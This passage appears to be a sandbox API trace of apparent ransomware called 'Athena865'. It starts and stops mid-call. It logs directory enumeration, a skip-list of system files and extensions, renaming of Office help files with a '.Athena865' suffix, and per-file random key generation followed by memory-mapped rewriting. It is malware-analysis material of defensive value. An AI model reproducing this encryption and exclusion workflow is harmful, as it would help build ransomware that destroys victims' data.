dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.753] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5269fec0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO.14.1033.hxn", cAlternateFileName="MSVISI~1.HXN")) returned 1 [0048.753] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.753] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.753] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2=".") returned 1 [0048.753] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="..") returned 1 [0048.753] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="windows") returned -1 [0048.754] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.754] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="temp") returned -1 [0048.754] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.754] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="boot") returned 1 [0048.754] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.754] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.754] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="perflogs") returned -1 [0048.754] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.754] lstrlenW (lpString="MS.VISIO.14.1033.hxn") returned 20 [0048.754] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.VISIO.14.1033.hxn" | out: lpString1="MS.VISIO.14.1033.hxn") returned="MS.VISIO.14.1033.hxn" [0048.754] lstrlenW (lpString="MS.VISIO.14.1033.hxn") returned 20 [0048.754] lstrlenW (lpString="Athena865") returned 9 [0048.754] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.754] lstrlenW (lpString=".dll") returned 4 [0048.754] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2=".dll") returned 1 [0048.754] lstrlenW (lpString=".lnk") returned 4 [0048.754] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2=".lnk") returned 1 [0048.754] lstrlenW (lpString=".ini") returned 4 [0048.754] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2=".ini") returned 1 [0048.754] lstrlenW (lpString=".sys") returned 4 [0048.754] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2=".sys") returned 1 [0048.754] lstrlenW (lpString="MS.VISIO.14.1033.hxn") returned 20 [0048.754] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn.Athena865") returned 60 [0048.754] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.visio.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.755] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.visio.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.756] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=326) returned 1 [0048.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.756] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.757] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.757] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.757] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x450, lpName=0x0) returned 0x154 [0048.760] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x450) returned 0x100000 [0048.761] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.762] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.762] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.762] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.762] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.762] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.762] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.762] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.762] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.763] CloseHandle (hObject=0x154) returned 1 [0048.763] CloseHandle (hObject=0x17c) returned 1 [0048.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.763] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO.DEV.14.1033.hxn", cAlternateFileName="MSVISI~3.HXN")) returned 1 [0048.763] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.763] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.763] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2=".") returned 1 [0048.763] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="..") returned 1 [0048.763] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="windows") returned -1 [0048.763] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.763] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="temp") returned -1 [0048.763] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.763] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="boot") returned 1 [0048.763] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.763] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.763] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="perflogs") returned -1 [0048.763] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.763] lstrlenW (lpString="MS.VISIO.DEV.14.1033.hxn") returned 24 [0048.763] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.VISIO.DEV.14.1033.hxn" | out: lpString1="MS.VISIO.DEV.14.1033.hxn") returned="MS.VISIO.DEV.14.1033.hxn" [0048.763] lstrlenW (lpString="MS.VISIO.DEV.14.1033.hxn") returned 24 [0048.763] lstrlenW (lpString="Athena865") returned 9 [0048.763] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.764] lstrlenW (lpString=".dll") returned 4 [0048.764] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2=".dll") returned 1 [0048.764] lstrlenW (lpString=".lnk") returned 4 [0048.764] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2=".lnk") returned 1 [0048.764] lstrlenW (lpString=".ini") returned 4 [0048.764] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2=".ini") returned 1 [0048.764] lstrlenW (lpString=".sys") returned 4 [0048.764] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2=".sys") returned 1 [0048.764] lstrlenW (lpString="MS.VISIO.DEV.14.1033.hxn") returned 24 [0048.764] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn.Athena865") returned 64 [0048.764] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.visio.dev.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.764] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.visio.dev.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.764] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=350) returned 1 [0048.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.765] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.765] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.765] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.766] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0x154 [0048.768] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000 [0048.769] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.769] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.769] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.771] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.VISIO.SHAPESHEET.14.1033.hxn" | out: lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn") returned="MS.VISIO.SHAPESHEET.14.1033.hxn" [0048.771] lstrlenW (lpString="MS.VISIO.SHAPESHEET.14.1033.hxn") returned 31 [0048.771] lstrlenW (lpString="Athena865") returned 9 [0048.771] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.771] lstrlenW (lpString=".dll") returned 4 [0048.771] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2=".dll") returned 1 [0048.772] lstrlenW (lpString=".lnk") returned 4 [0048.772] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2=".lnk") returned 1 [0048.772] lstrlenW (lpString=".ini") returned 4 [0048.772] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2=".ini") returned 1 [0048.772] lstrlenW (lpString=".sys") returned 4 [0048.772] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2=".sys") returned 1 [0048.772] lstrlenW (lpString="MS.VISIO.SHAPESHEET.14.1033.hxn") returned 31 [0048.772] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865") returned 71 [0048.772] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.shapesheet.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.visio.shapesheet.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.772] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.visio.shapesheet.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.772] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=392) returned 1 [0048.772] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.773] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.773] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.773] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.773] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x490, lpName=0x0) returned 0x154 [0048.776] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x490) returned 0x100000 [0048.776] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.777] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.777] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.778] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.VISIO_PRM.14.1033.hxn" | out: lpString1="MS.VISIO_PRM.14.1033.hxn") returned="MS.VISIO_PRM.14.1033.hxn" [0048.778] lstrlenW (lpString="MS.VISIO_PRM.14.1033.hxn") returned 24 [0048.778] lstrlenW (lpString="Athena865") returned 9 [0048.778] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.778] lstrlenW (lpString=".dll") returned 4 [0048.778] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2=".dll") returned 1 [0048.778] lstrlenW (lpString=".lnk") returned 4 [0048.778] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2=".lnk") returned 1 [0048.778] lstrlenW (lpString=".ini") returned 4 [0048.778] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2=".ini") returned 1 [0048.778] lstrlenW (lpString=".sys") returned 4 [0048.778] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2=".sys") returned 1 [0048.778] lstrlenW (lpString="MS.VISIO_PRM.14.1033.hxn") returned 24 [0048.778] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn.Athena865") returned 64 [0048.778] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_prm.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.visio_prm.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.779] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.visio_prm.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.779] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=350) returned 1 [0048.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.780] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.780] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.780] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.780] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0x154 [0048.783] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000 [0048.783] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.784] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.784] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.784] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.VISIO_STD.14.1033.hxn" | out: lpString1="MS.VISIO_STD.14.1033.hxn") returned="MS.VISIO_STD.14.1033.hxn" [0048.784] lstrlenW (lpString="MS.VISIO_STD.14.1033.hxn") returned 24 [0048.784] lstrlenW (lpString="Athena865") returned 9 [0048.785] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.785] lstrlenW (lpString=".dll") returned 4 [0048.785] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2=".dll") returned 1 [0048.785] lstrlenW (lpString=".lnk") returned 4 [0048.785] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2=".lnk") returned 1 [0048.785] lstrlenW (lpString=".ini") returned 4 [0048.785] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2=".ini") returned 1 [0048.785] lstrlenW (lpString=".sys") returned 4 [0048.785] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2=".sys") returned 1 [0048.785] lstrlenW (lpString="MS.VISIO_STD.14.1033.hxn") returned 24 [0048.785] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn.Athena865") returned 64 [0048.785] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_std.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.visio_std.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.785] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.visio_std.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.786] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=350) returned 1 [0048.786] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.786] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.786] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.786] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.787] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.787] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.787] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0x154 [0048.789] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000 [0048.789] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.790] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.790] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.791] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.WINPROJ.14.1033.hxn" | out: lpString1="MS.WINPROJ.14.1033.hxn") returned="MS.WINPROJ.14.1033.hxn" [0048.791] lstrlenW (lpString="MS.WINPROJ.14.1033.hxn") returned 22 [0048.791] lstrlenW (lpString="Athena865") returned 9 [0048.791] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.791] lstrlenW (lpString=".dll") returned 4 [0048.791] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2=".dll") returned 1 [0048.791] lstrlenW (lpString=".lnk") returned 4 [0048.791] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2=".lnk") returned 1 [0048.791] lstrlenW (lpString=".ini") returned 4 [0048.791] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2=".ini") returned 1 [0048.791] lstrlenW (lpString=".sys") returned 4 [0048.791] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2=".sys") returned 1 [0048.791] lstrlenW (lpString="MS.WINPROJ.14.1033.hxn") returned 22 [0048.791] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn.Athena865") returned 62 [0048.791] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.792] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.792] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=338) returned 1 [0048.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.792] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, 